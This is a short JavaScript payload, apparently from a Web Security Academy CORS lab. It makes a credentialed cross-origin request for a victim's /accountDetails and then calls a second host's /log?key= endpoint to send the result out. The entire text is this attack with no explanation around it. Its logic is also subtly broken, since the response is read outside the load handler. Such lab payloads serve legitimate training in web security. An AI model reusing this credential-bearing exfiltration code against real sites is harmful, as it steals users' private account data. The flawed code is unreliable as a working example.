var req = new XMLHttpRequest(); var data = this.responseText; req.onload = reqListener; req.open('get','https://ac101ff61eca340c80e4555000150068.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { var req = new XMLHttpRequest(); req.open('get','https://acbf1f111e95343e800c55f8016600cd.web-security-academy.net/log?key='+data,true); req.withCredentials = true; req.send(); };